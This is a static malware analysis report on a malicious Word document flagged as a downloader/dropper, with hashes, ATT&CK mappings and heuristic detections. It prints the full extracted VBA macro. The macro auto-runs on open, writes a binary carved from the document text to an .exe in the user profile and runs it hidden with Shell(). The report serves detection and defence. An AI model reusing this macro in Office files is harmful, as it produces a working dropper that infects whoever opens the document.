Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 14bd8ce373bf64dc…

MALICIOUS

Office (OOXML)

51.5 KB Created: 2018-11-14 01:22:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-16
MD5: 577eab90797f2804a44cce6241eb9c22 SHA-1: 6bee48fb567b6f0acc2cd129741f0351b961c89f SHA-256: 14bd8ce373bf64dc8f78775f284ce5449cc350796a4b53c27505c4f9bcba0379
370 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros that are triggered by Auto_Open and Workbook_Open events. These macros construct a filename 'txqTrPLp.exe' and write binary data from the document body into this file within the user's profile directory. Finally, the script executes the downloaded payload using the Shell() function, indicating a downloader or dropper functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1710 bytes
SHA-256: 4d96b3d7b148d2aed3d16977d13287ab9b56023d0776f5714cdd6328888b8f96
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub Auto_Open()
    Daboc12
End Sub

Sub Daboc12()
    Dim Daboc7 As Integer
    Dim Daboc1 As String
    Dim Daboc2 As String
    Dim Daboc3 As Integer
    Dim Daboc4 As Paragraph
    Dim Daboc8 As Integer
    Dim Daboc9 As Boolean
    Dim Daboc5 As Integer
    Dim Daboc11 As String
    Dim Daboc6 As Byte
    Dim Vjnignnoxl As String
    Vjnignnoxl = "Vjnignnoxl"
    Daboc1 = "txqTrPLp.exe"
    Daboc2 = Environ("USERPROFILE")
    ChDrive (Daboc2)
    ChDir (Daboc2)
    Daboc3 = FreeFile()
    Open Daboc1 For Binary As Daboc3
    For Each Daboc4 In ActiveDocument.Paragraphs
        DoEvents
            Daboc11 = Daboc4.Range.Text
        If (Daboc9 = True) Then
            Daboc8 = 1
            While (Daboc8 < Len(Daboc11))
                Daboc6 = Mid(Daboc11, Daboc8, 4)
                Put #Daboc3, , Daboc6
                Daboc8 = Daboc8 + 4
            Wend
        ElseIf (InStr(1, Daboc11, Vjnignnoxl) > 0 And Len(Daboc11) > 0) Then
            Daboc9 = True
        End If
    Next
    Close #Daboc3
    Daboc13 (Daboc1)
End Sub

Sub Daboc13(Daboc10 As String)
    Dim Daboc7 As Integer
    Dim Daboc2 As String
    Daboc2 = Environ("USERPROFILE")
    ChDrive (Daboc2)
    ChDir (Daboc2)
    Daboc7 = Shell(Daboc10, vbHide)
End Sub

Sub AutoOpen()
    Auto_Open
End Sub

Sub Workbook_Open()
    Auto_Open
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: d3428f2da965dcd50f690d41284e15bfefe195e570190aeb8a095fa28465e378
Detection
ClamAV: Doc.Downloader.Generic-6698421-0
Obfuscation or payload: unlikely